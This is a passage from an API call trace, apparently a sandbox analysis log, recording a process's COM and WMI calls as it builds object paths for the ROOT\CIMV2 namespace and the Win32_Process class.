[3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc958f0) returned 0x0 [0140.535] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0140.535] WbemDefPath:IUnknown:AddRef (This=0x1bc958f0) returned 0x3 [0140.535] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0140.535] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0140.535] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc4b00) returned 0x0 [0140.535] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4b00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.535] WbemDefPath:IUnknown:Release (This=0x1bcc4b00) returned 0x3 [0140.535] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0140.535] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0140.535] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0140.535] WbemDefPath:IUnknown:Release (This=0x1bc958f0) returned 0x2 [0140.535] WbemDefPath:IUnknown:Release (This=0x1bc958f0) returned 0x1 [0140.535] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0140.535] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0140.535] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc958f0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc958f0) returned 0x0 [0140.536] WbemDefPath:IUnknown:AddRef (This=0x1bc958f0) returned 0x3 [0140.536] WbemDefPath:IUnknown:Release (This=0x1bc958f0) returned 0x2 [0140.536] WbemDefPath:IWbemPath:SetText (This=0x1bc958f0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95830, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc958f0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetText (in: This=0x1bc958f0, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetText (in: This=0x1bc958f0, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0140.536] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc95830) returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc958f0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc958f0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc958f0, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0140.536] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc95830, uIndex=0x0, pszName="ROOT") returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc958f0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc958f0, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0140.536] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc95830, uIndex=0x1, pszName="CIMV2") returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc95830, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0140.536] WbemDefPath:IWbemPath:SetClassName (This=0x1bc95830, Name="Win32_Process") returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc95830, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95830, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95830, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95830, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0140.536] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc95830, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0140.537] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc95830, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0140.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95830, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0140.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95830, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0140.537] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc955f0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0140.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bc955f0, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0140.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bc955f0, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0140.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95830, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0140.537] WbemDefPath:IWbemPath:GetText (in: This=0x1bc95830, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0140.537] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e568 | out: ppv=0x1bb7e568*=0x1a943398) returned 0x0 [0140.537] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e558 | out: pAptType=0x1bb7e558*=1) returned 0x0 [0140.537] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e560 | out: ppvObject=0x1bb7e560*=0x0) returned 0x80004002 [0140.537] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.539] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d980 | out: ppv=0x1bb7d980*=0x1bcc4d60) returned 0x0 [0140.539] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4d60, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0140.539] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4d60, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bcd8da0) returned 0x0 [0140.539] WbemDefPath:IUnknown:Release (This=0x1bcc4d60) returned 0x0 [0140.539] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8da0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bcd8da0) returned 0x0 [0140.539] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8da0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0140.540] WbemDefPath:IUnknown:AddRef (This=0x1bcd8da0) returned 0x3 [0140.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8da0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0140.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8da0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0140.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8da0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bcc4da0) returned 0x0 [0140.540] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4da0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.540] WbemDefPath:IUnknown:Release (This=0x1bcc4da0) returned 0x3 [0140.540] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0140.540] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0140.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8da0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0140.540] WbemDefPath:IUnknown:Release (This=0x1bcd8da0) returned 0x2 [0140.540] WbemDefPath:IUnknown:Release (This=0x1bcd8da0) returned 0x1 [0140.540] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0140.540] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0140.540] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8da0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bcd8da0) returned 0x0 [0140.540] WbemDefPath:IUnknown:AddRef (This=0x1bcd8da0) returned 0x3 [0140.540] WbemDefPath:IUnknown:Release (This=0x1bcd8da0) returned 0x2 [0140.540] WbemDefPath:IWbemPath:SetText (This=0x1bcd8da0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0140.540] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc955f0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0140.540] WbemDefPath:IWbemPath:GetText (in: This=0x1bc955f0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0140.540] WbemDefPath:IWbemPath:GetText (in: This=0x1bc955f0, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.541] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0140.541] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0140.541] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0140.541] IUnknown:Release (This=0x1a943398) returned 0x1 [0140.542] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bcc4de0) returned 0x0 [0140.543] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4de0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0140.543] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4de0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bcd8e60) returned 0x0 [0140.543] WbemDefPath:IUnknown:Release (This=0x1bcc4de0) returned 0x0 [0140.543] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8e60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bcd8e60) returned 0x0 [0140.543] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8e60, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0140.543] WbemDefPath:IUnknown:AddRef (This=0x1bcd8e60) returned 0x3 [0140.543] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8e60, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0140.543] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8e60, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0140.543] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8e60, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bcc4e20) returned 0x0 [0140.543] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4e20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0140.543] WbemDefPath:IUnknown:Release (This=0x1bcc4e20) returned 0x3 [0140.543] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0140.544] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0140.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8e60, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0140.544] WbemDefPath:IUnknown:Release (This=0x1bcd8e60) returned 0x2 [0140.544] WbemDefPath:IUnknown:Release (This=0x1bcd8e60) returned 0x1 [0140.544] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0140.544] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0140.544] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcd8e60, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bcd8e60) returned 0x0 [0140.544] WbemDefPath:IUnknown:AddRef (This=0x1bcd8e60) returned 0x3 [0140.544] WbemDefPath:IUnknown:Release (This=0x1bcd8e60) returned 0x2 [0140.544] WbemDefPath:IWbemPath:SetText (This=0x1bcd8e60, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0140.544] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd8da0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0140.544] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd8e60, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0140.544] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8e60, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0140.544] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8e60, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0140.544] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bcd8da0) returned 0x0 [0140.544] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd8e60, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0140.544] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd8e60, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0140.544] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd8e60, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0140.544] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcd8da0, uIndex=0x0, pszName="root") returned 0x0 [0140.544] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd8e60, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0140.544] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bcd8e60, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0140.544] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bcd8da0, uIndex=0x1, pszName="cimv2") returned 0x0 [0140.544] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcd8e60, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcd8e60, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcd8da0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetServer (in: This=0x1bcd8da0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bcd8da0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc955f0, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetText (in: This=0x1bc955f0, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetText (in: This=0x1bc955f0, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc955f0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetText (in: This=0x1bc955f0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetText (in: This=0x1bc955f0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bcd8da0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8da0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0140.545] WbemDefPath:IWbemPath:GetText (in: This=0x1bcd8da0, lFlags=4, 